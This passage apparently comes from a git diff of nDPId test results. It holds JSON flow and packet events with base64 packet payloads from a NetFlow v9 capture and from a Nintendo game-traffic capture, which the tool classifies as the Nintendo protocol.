AAAAAgAAAAAAAAAAAAAAAAAAoEJE1wriRNcNYAAAAAAAADlQAAAAAAAAALBhcAJ1qBuwkVzSYBuxoAkwAAMhAAAEDxhHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1wtyRNcQcAAAAAAAARmgAAAAAAAAAIBoG7CRUXACdaAbvNJhoAkwAAQPEAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1voCRNb6AAAAAAAAAAKAAAAAAAAAABBo1Ua7JcdiVKtb08AgIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2SPCRNkjwAAAAAAAAAKAAAAAAAAAABBoOftxy5sBu2oskg6gIAkwADHowAAzG32GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1zjiRNc44AAAAAAAAAKAAAAAAAAAABBor0fg92t70V0O4XDAIAkwAAECYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2SXiRNkl4AAAAAAAAAKAAAAAAAAAABBoG7fy+5sBu2oskgdQIAkwADHowAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1zoCRNc6AAAAAAAAAAKAAAAAAAAAABBo0nrI+5sBv2sRRsPgIAkwADHowAAAKo2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2MviRNj0UAAAAAAAAE2wAAAAAAAAAGBmj0KkiK9gKH15wBuxgAkwAAMhAAADRmhHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2MxyRNjxMAAAAAAAAC1wAAAAAAAAAFBor2Aodo9CpIAbvXnBgAkwAANGYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE15TyRNeU8AAAAAAAAAKAAAAAAAAAABBor1eIW5sBu2oskcOQIAkwADHowAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAA"} +02204{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"netflowv9.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568213026,"pkt_ts_usec":961690,"pkt_caplen":1382,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1382,"pkt_l4_len":1348,"pkt":"ACWQ1Mz5rB9rrWosCABFAAVYLBtAAEARgsXAqAKGwKgC3r31CAkFRKQMAAkADyROCO5dZ6gMFm+mjQAAAAEBAwI8AAoEJE1zTSRNc00AAAAAAAAAKAAAAAAAAAABBo0ouIW5r10zvtgVtAIAkwAAiv4AADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2BaiRNgWoAAAAAAAAAKAAAAAAAAAABBor1go1cdiVS2B5YdAIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2A3SRNgN0AAAAAAAAAKAAAAAAAAAABBsGvPd92oFgwEVgAFwIAkwAADYYAAAKo2GfZGI\/ahHisFZ1CAAAAAAAgAAAAAAAAAAAAAAAAAAoEJE1tpCRNbaQAAAAAAAAAKAAAAAAAAAABBoG7tMe5sBsOoSJ5cwIAkwADHowAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2EXiRNhF4AAAAAAAAAKAAAAAAAAAABBor0IdlcdiVKtb3q\/QIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE0etyRNbRQAAAAAAAACZgAAAAAAAAAGBlETaHiBu6a27fEBuxsAkwAAMhAAAAtihHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE0ewCRNbRMAAAAAAAABdAAAAAAAAAAEBoG7prZRE2h4Abvt8RsAkwAAC2IAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAECAPQACgQkTWt2JE1rdgAAAAAAAABOAAAAAAAAAAERwWxbQYr1AQE2qAA1AJMAADIQAABTXoR4rBWdQthn2RiP2gAAAAAAAAAAAAAAAAAAAAAAAAAKBCRNa38kTWt\/AAAAAAAAAF4AAAAAAAAAARGK9QEBwWxbQQA1NqgAkwAAU14AADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE13GSRNdxkAAAAAAAAAXgAAAAAAAAABEY0oCdMu5aiNM1QANQCTAACalAAAMhDYZ9kYj9qEeKwVnUIAAAAAACAAAAAAAAAAAAAAAAABBwGkAAoGJE2J7iRNie4AAAAAAAAAVAAAAAAAAAABBiADAPZrxroAiG6A+Rh\/jcggAUygAAABCAAAAAAAAAAW\/S0AWAIAbAAADPgAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAACgYkTYnuJE2J7gAAAAAAAAA8AAAAAAAAAAEGIAFMoAAAAQgAAAAAAAAAFiADAPZrxroAiG6A+Rh\/jcgAWP0tFABsAAAyEAAADPiEeKwVnULYZ9kYj9oAAAAAAAAAAAAAAAAAAAAAAAAKBiRNcVMkTXFTAAAAAAAABSIAAAAAAAAAAgYgAUygAAABAwAAAACBu\/5JIAMAyhcFdwNwoncXMAI4TAG70bwYAGwAADIQAAAM+IR4rBWdQthn2RiP2gAAAAAAAAAAAAAAAAAAAAAAAAoGJE1xaCRNcWkAAAAAAAAAeAAAAAAAAAACBiADAMoXBXcDcKJ3FzACOEwgAUygAAABAwAAAACBu\/5J0bwBuxAAbAAADPgAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAABBABUAAoEJE1uuyRNbrsAAAAAAAAAJAAAAAAAAAABARLlMfKBu8hXAAAAkwAAMhAAAEB9hHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAo="} +02236{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"netflowv9.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568213026,"pkt_ts_usec":961796,"pkt_caplen":1410,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1410,"pkt_l4_len":1376,"pkt":"ACWQ1Mz5rB9rrWosCABFAAV0LBxAAEARgqjAqAKGwKgC3r31CAkFYD7cAAkAECROCO5dZ6gMFm+mjgAAAAEBAwKMAAoEJE2J5yRNiecAAAAAAAAAKAAAAAAAAAABBor2R+a5sBtmnlN5cAIAkwADHowAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE165CRNeuQAAAAAAAAAKAAAAAAAAAABBor1lbm5r10JuVyEVQIAkwAAiv4AADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE16EyRNeh0AAAAAAAAAlwAAAAAAAAADBo1UK4ENIN6wAbsMARkAkwAAQH0AADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE16FCRNehQAAAAAAAAAUAAAAAAAAAACBg0g3rCNVCuBDAEBuxEAkwAAMhAAAEB9hHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE13UyRNd1MAAAAAAAAAKAAAAAAAAAABBo1UZoa5sBsy0DYjggIAkwADHowAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1riyRNa4sAAAAAAAAAKAAAAAAAAAABBo0o4oxcdiVKtb1JIQIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE15pCRNeaQAAAAAAAAAKAAAAAAAAAABBoOfLzS50QAftFUYGwIAkwAAl54AAzG32GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1txyRNbccAAAAAAAAAKAAAAAAAAAABBoG7bF5cdiVKtb1qfgIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAQIB5AAKBCRNdxkkTXcZAAAAAAAABW0AAAAAAAAAAREu5aiNjSgJ0wA1M1QAkwAAMhAAAJqUhHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE12ViRNdlYAAAAAAAAARwAAAAAAAAABEcFsW6SNVAnZwHgANQCTAAAyEAAAU16EeKwVnULYZ9kYj9oAAAAAAAAAAAAAAAAAAAAAAAAACgQkTXZfJE12XwAAAAAAAACMAAAAAAAAAAERjVQJ2cFsW6QANcB4AJMAAFNeAAAyENhn2RiP2oR4rBWdQgAAAAAAAAAAAAAAAAAAAAAAAAAKBCRNeogkTXqIAAAAAAAAAGUAAAAAAAAAAREICAgIwa84CrjdADUAkwAAAqgAADtBhHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE16nSRNep0AAAAAAAAAdQAAAAAAAAABEcGvOAoICAgIADW43QCTAAA7QQAAAqjYZ9kYj9qEeKwVnUIAAAAAAAAAAAAAAAAAAAAAAAAACgQkTXGzJE1xswAAAAAAAABSAAAAAAAAAAERwxYa+I1UCdmx6gA1AJMAADIQAAAg6oR4rBWdQthn2RiP2gAAAAAAAAAAAAAAAAAAAAAAAAEHANQACgYkTYKVJE2GoAAAAAAAAAT+AAAAAAAAAAoGIAFMoE\/\/AAEAAAAAAAAAYCQAYYABAADQAAAAAAdBoAGeaAG7GwBsAAAyEAAANu2EeKwVnULYZ9kYj9oAAAAAAAAAAAAAAAAAAAAAAAAKBiRNg0EkTYaTAAAAAAAABfAAAAAAAAAABgYkAGGAAQAA0AAAAAAHQaABIAFMoE\/\/AAEAAAAAAAAAYAG7nmgbAGwAADbtAAAyENhn2RiP2oR4rBWdQgAAAAAAAAAAAAAAAAAAAAAA"} +02179{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"netflowv9.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568213026,"pkt_ts_usec":961900,"pkt_caplen":1362,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1362,"pkt_l4_len":1328,"pkt":"ACWQ1Mz5rB9rrWosCABFAAVELB1AAEARgtfAqAKGwKgC3r31CAkFMPm\/AAkAECROCO5dZ6gMFm+mjwAAAAEBAwUUAAoEJE2QqyRNkKsAAAAAAAAAKAAAAAAAAAABBoG7XKJcdiVS2B5atgIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1tKCRNbSgAAAAAAAAAKAAAAAAAAAABBor2ZebBHQ88f\/8RXAIAkwAAAAAAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2PaiRNj2oAAAAAAAAAKAAAAAAAAAABBor1AQE0bQwWAbvoNBQAkwAAH4sAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2MByRNjAcAAAAAAAAAKAAAAAAAAAABBor0fre5sBtatrgNPgIAkwADHowAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2HpCRNh6QAAAAAAAAAKAAAAAAAAAABBoOf7oKnchtzx+MBvQIAkwAAP5QAAzG32GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2OFiRNjhYAAAAAAAAAKAAAAAAAAAABBoG7RUy5sBv6wucQ0QIAkwADHowAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1t7yRNbe8AAAAAAAAALAAAAAAAAAABBor0kdXfxf7Zyq8AFwIAkwAAEpgAADIQ2GfZGI\/ahHisFZ1CAAAAAAAgAAAAAAAAAAAAAAAAAAoEJE1\/WyRNf1sAAAAAAAAAKAAAAAAAAAABBor08Jm4aYtEli4VswIAkwAAGxsAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2HASRNhwEAAAAAAAAAKAAAAAAAAAABBo0oygkfuNHO6mAnDwIAkwAAAAAAADIQ2GfZGI\/ahHisFZ1CAAAAAAAgAAAAAAAAAAAAAAAAAAoEJE1sBSRNbDoAAAAAAAAC7wAAAAAAAAAGBryk7iSBu\/5VrbQAUBsAkwAAMhAAAwYBhHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1sFiRNbDoAAAAAAAAD7wAAAAAAAAADBoG7\/lW8pO4kAFCttBsAkwADBgEAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE15riRNea4AAAAAAAAAKAAAAAAAAAABBor022hzlYpsEe0AFwIAkwAAECYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE181yRNfNcAAAAAAAAAKAAAAAAAAAABBo1UJo17vucYdW4AFwIAkwAAEuUAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2B1iRNgdYAAAAAAAAAKAAAAAAAAAABBoG7SSgr4Wwfpe8BvQIAkwACBGYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAgAAAAAAAAAAAAAAAAAAoEJE1qdiRNa+wAAAAAAAAChwAAAAAAAAACBor2Et2DvCi9yWgjKBgAkwAAAqgAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1qdiRNa+cAAAAAAAAChwAAAAAAAAACBoO8KL2K9hLdIyjJaBgAkwAAMhAAAAKohHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAA"} +02215{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"netflowv9.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568213026,"pkt_ts_usec":962005,"pkt_caplen":1390,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1390,"pkt_l4_len":1356,"pkt":"ACWQ1Mz5rB9rrWosCABFAAVgLB5AAEARgrrAqAKGwKgC3r31CAkFTKWaAAkAECROCO5dZ6gMFm+mkAAAAAEBAwTEAAoEJE2B\/iRNgf4AAAAAAAAAKAAAAAAAAAABBo1U6kBcd6AhqNceJAIAkwAAwWEAADIQ2GfZGI\/ahHisFZ1CAAAAAAAgAAAAAAAAAAAAAAAAAAoEJE2L+SRNi\/kAAAAAAAAAKAAAAAAAAAABBo0ojNxcdiVKtb2zcAIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2ScCRNknAAAAAAAAAAKAAAAAAAAAABBor0RW65sBu2oskjoAIAkwADHowAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2ArSRNgK0AAAAAAAAAKAAAAAAAAAABBor0Q2hSwtKCbeaRXwIAkwAAwS8AADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2HRyRNh0cAAAAAAAAAKAAAAAAAAAABBo0o87S5sBu2oskYwAIAkwADHowAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE104yRNdOMAAAAAAAAAKAAAAAAAAAABBor2wB25sBu2oskgaQIAkwADHowAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE19TiRNfU4AAAAAAAAAKAAAAAAAAAABBoG7gQm5sBu2oskNYgIAkwADHowAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2HJCRNhyQAAAAAAAAAKAAAAAAAAAABBo1UlCZcdiVS2B5RDAIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1s0SRNgMkAAAAAAAAGpgAAAAAAAAAMBo1U+KKNYlEqXToNPdoAkwAA3tMAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1s0iRNgMoAAAAAAAAHsQAAAAAAAAAIBo1iUSqNVPiiDT1dOh4AkwAAMhAAAN7ThHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE0TaSRNkqcAAAAAAAB3nwAAAAAAAAApBmgQnPOBu0rBqxABuxoAkwAAMhAAADQXhHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE0TciRNkqYAAAAAAAAUrAAAAAAAAAAXBoG7SsFoEJzzAburEBoAkwAANBcAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2ELCRNhCwAAAAAAAAAKAAAAAAAAAABBo0ozbtcdiVKtb0yhgIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2EKiRNhCoAAAAAAAAAKQAAAAAAAAABBpdlcPaK9gJp9WIBuxAAkwAAMhAAANNhhHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2EMyRNhDMAAAAAAAAANAAAAAAAAAABBor2AmmXZXD2Abv1YhAAkwAA02EAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAEGAGwACgYkTWgTJE2FWQAAAAAAAAIEAAAAAAAAAAIRKgIJCAQWSACFWHuzCSH+HiABTKAAAAEIAAAAAAAAABbKpgGFAGwAABquAAAyENhn2RiP2oR4rBWdQgAAAAAAAAAAAAAAAAAAAAAAAA=="} +02251{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"netflowv9.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568213026,"pkt_ts_usec":962107,"pkt_caplen":1414,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1414,"pkt_l4_len":1380,"pkt":"ACWQ1Mz5rB9rrWosCABFAAV4LB9AAEARgqHAqAKGwKgC3r31CAkFZN5EAAkAECROCO5dZ6gMFm+mkQAAAAEBAwR0AAoEJE2RsyRNkbMAAAAAAAAAKAAAAAAAAAABBor2nvZcdiVS2B5mSgIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2CECRNghAAAAAAAAAAKAAAAAAAAAABBor2OXclMedoxbwTrgIAkwADMZMAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE0kxiRNhT0AAAAAAAAAeAAAAAAAAAADBo0oJv55orZfIKsAFwIAkwAAEp4AADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE15tyRNebcAAAAAAAAAKAAAAAAAAAABBor2DuK5sBu2oskHfwIAkwADHowAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2PliRNj5YAAAAAAAAAKAAAAAAAAAABBoOfFgrZPRSt14MAFgIAkwADDMsAAzG32GfZGI\/ahHisFZ1CAAAAAAAgAAAAAAAAAAAAAAAAAAoEJE1q9CRNavQAAAAAAAAAKAAAAAAAAAABBoOfvGdcdiVS2B5piAIAkwAAixYAAzG32GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE158iRNefIAAAAAAAAAKAAAAAAAAAABBo1UAydcd6AhqNceJQIAkwAAwWEAADIQ2GfZGI\/ahHisFZ1CAAAAAAAgAAAAAAAAAAAAAAAAAAoEJE1\/6SRNf+kAAAAAAAAAKAAAAAAAAAABBo0o31BQUkB\/4JoGfwIAkwADFrkAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2B1CRNgm8AAAAAAAAEPQAAAAAAAAAHBlCeFGiK9gJ+voIBuxoAkwAAMhAAAIUmhHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2B4yRNgksAAAAAAAAS1AAAAAAAAAAHBor2An5QnhRoAbu+ghoAkwAAhSYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2OwyRNjsMAAAAAAAAAKAAAAAAAAAABBo1UqqB9QF7Tg04kWgIAkwAAlYsAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE0FlCRNfq0AAAAAAAANngAAAAAAAAAWBg1riAmK9gJw5gwBuxsAkwAAMhAAAB+EhHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE0FqSRNfqkAAAAAAAA3dAAAAAAAAAAWBor2AnANa4gJAbvmDBsAkwAAH4QAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE149yRNePcAAAAAAAAAKAAAAAAAAAABBor01gdcdiVS2B5s7wIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoBBwDUAAoGJE13nyRNd94AAAAAAAAEDwAAAAAAAAAGBiABTKAAAPI\/qZ7QTVkjzpUqABRQQAwMBwAAAAAAAAC8rw4UbBsAbAAAMhAAADtBhHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAACgYkTXevJE138gAAAAAAAAIDAAAAAAAAAAUGKgAUUEAMDAcAAAAAAAAAvCABTKAAAPI\/qZ7QTVkjzpUUbK8OGgBsAAA7QQAAMhDYZ9kYj9qEeKwVnUIAAAAAAAAAAAAAAAAAAAAAAA=="} diff --git a/test/results/nintendo.pcap.out b/test/results/nintendo.pcap.out new file mode 100644 index 000000000..ea7be1845 --- /dev/null +++ b/test/results/nintendo.pcap.out @@ -0,0 +1,244 @@ +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1500731320644,"flow_last_seen":0,"flow_tot_l4_data_len":68,"flow_min_l4_data_len":68,"flow_max_l4_data_len":68,"flow_avg_l4_data_len":68,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"91.8.243.35","src_port":52119,"dst_port":49432,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731320,"pkt_ts_usec":644357,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"AA6OGXEMfLuKifuECABFAABYEUEAAEARTg7AqAxyWwjzI8uXwRgARM2+MquYZAJWA8uWATPgxkj4NJP7aMnpzfBBRQUJGYsmvR+Tfti6\/9NW0mVVtdYfmAlO0lOZx8+qpE3Q9Qrr"} +00501{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1500731320644,"flow_last_seen":0,"flow_tot_l4_data_len":68,"flow_min_l4_data_len":68,"flow_max_l4_data_len":68,"flow_avg_l4_data_len":68,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"91.8.243.35","src_port":52119,"dst_port":49432,"l4_proto":"udp","ndpi": {"proto":"Nintendo","breed":"Fun","category":"Game"}} +00474{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731320,"pkt_ts_usec":732276,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"fLuKifuEAA6OGXEMCABFAABY97kAADIRdZVbCPMjwKgMcsEYy5cARD+fMquYZAJwBDs0OpYMdoXMEb7z5ADj1gGyYiTWHIsmvR+Tfti6\/9NW0mVVtdYcxe3DWV6ogDbeCRSMhnlF"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1500731320764,"flow_last_seen":0,"flow_tot_l4_data_len":68,"flow_min_l4_data_len":68,"flow_max_l4_data_len":68,"flow_avg_l4_data_len":68,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"134.3.248.25","src_port":52119,"dst_port":56955,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731320,"pkt_ts_usec":764440,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"AA6OGXEMfLuKifuECABFAABYEUIAAEARHhzAqAxyhgP4GcuX3nsARKmOMquYZAL7A4GWfECoPkHlkau7Ijb2F2MvtOU+dosmvR+Tfti6\/9NW0mVVtday4XIk1NfCl4ZHAO\/1Fxpd"} +00502{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1500731320764,"flow_last_seen":0,"flow_tot_l4_data_len":68,"flow_min_l4_data_len":68,"flow_max_l4_data_len":68,"flow_avg_l4_data_len":68,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"134.3.248.25","src_port":52119,"dst_port":56955,"l4_proto":"udp","ndpi": {"proto":"Nintendo","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1500731320774,"flow_last_seen":0,"flow_tot_l4_data_len":68,"flow_min_l4_data_len":68,"flow_max_l4_data_len":68,"flow_avg_l4_data_len":68,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"109.21.255.11","src_port":52119,"dst_port":50251,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731320,"pkt_ts_usec":774476,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"AA6OGXEMfLuKifuECABFAABYEUMAAEARMBfAqAxybRX\/C8uXxEsARC8cMquYZAJGA3KWhoRABV3FWfmtjLEwkvqReL4g94smvR+Tfti6\/9NW0mVVtdahZ4Yi8EkEbE+Cf5dTG6Dk"} +00503{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1500731320774,"flow_last_seen":0,"flow_tot_l4_data_len":68,"flow_min_l4_data_len":68,"flow_max_l4_data_len":68,"flow_avg_l4_data_len":68,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"109.21.255.11","src_port":52119,"dst_port":50251,"l4_proto":"udp","ndpi": {"proto":"Nintendo","breed":"Fun","category":"Game"}} +00477{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731320,"pkt_ts_usec":842825,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"fLuKifuEAA6OGXEMCABFAABYEicAADMRKjeGA\/gZwKgMct57y5cARE+8MquYZAIZA8hA\/JaGDMK+3tfYvFe22fqmgHrRaYsmvR+Tfti6\/9NW0mVVtdaFuHgj\/oXYMvE1kVZddtPK"} +00474{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731320,"pkt_ts_usec":881557,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"fLuKifuEAA6OGXEMCABFAABYK0gAADIRJBJtFf8LwKgMcsRLy5cARH7BMquYZAKvA36Er5aJDtEHqQojRhZUoJvCATzcAYsmvR+Tfti6\/9NW0mVVtdYSzDno2v3JjwLx3wkvum1y"} 